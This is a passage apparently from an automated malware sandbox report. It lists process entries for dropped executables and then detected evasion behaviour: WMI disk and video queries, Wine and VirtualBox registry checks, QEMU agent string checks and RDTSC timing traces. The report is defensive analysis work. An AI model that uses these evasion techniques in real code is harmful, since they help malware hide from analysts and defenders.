Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: penis.exe, 00000019.00000002.2964689421.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE`,
Source: penis.exe, 00000019.00000002.2964689421.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE
Source: penis.exe, 00000019.00000002.2964689421.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE@\

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEA6B second address: BBEA71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBEA71 second address: BBEA9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jnp 00007F99D0DE6F26h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30877 second address: D30885 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F99D0D12E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30885 second address: D30889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D30889 second address: D30897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F99D0D12E16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D49FF9 second address: D49FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A459 second address: D4A468 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jo 00007F99D0D12E16h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A728 second address: D4A762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99D0DE6F35h 0x00000009 pop ebx 0x0000000a push ecx 0x0000000b jmp 00007F99D0DE6F2Fh 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 pushad 0x00000014 jmp 00007F99D0DE6F2Ah 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4A762 second address: D4A772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F99D0D12E18h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D0C1 second address: D4D0C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D0C6 second address: D4D154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 59454047h 0x00000010 mov edx, dword ptr [ebp+122D2A33h] 0x00000016 push 00000003h 0x00000018 sub dword ptr [ebp+122D269Fh], esi 0x0000001e mov dl, ch 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push eax 0x00000025 call 00007F99D0D12E18h 0x0000002a pop eax 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f add dword ptr [esp+04h], 00000014h 0x00000037 inc eax 0x00000038 push eax 0x00000039 ret 0x0000003a pop eax 0x0000003b ret 0x0000003c mov ecx, dword ptr [ebp+122D2CEFh] 0x00000042 push 00000003h 0x00000044 push 00000000h 0x00000046 push esi 0x00000047 call 00007F99D0D12E18h 0x0000004c pop esi 0x0000004d mov dword ptr [esp+04h], esi 0x00000051 add dword ptr [esp+04h], 00000018h 0x00000059 inc esi 0x0000005a push esi 0x0000005b ret 0x0000005c pop esi 0x0000005d ret 0x0000005e mov cl, 9Eh 0x00000060 jmp 00007F99D0D12E29h 0x00000065 call 00007F99D0D12E19h 0x0000006a pushad 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D296 second address: D4D2AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push edx 0x00000008 jo 00007F99D0DE6F26h 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D2AE second address: D4D2B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
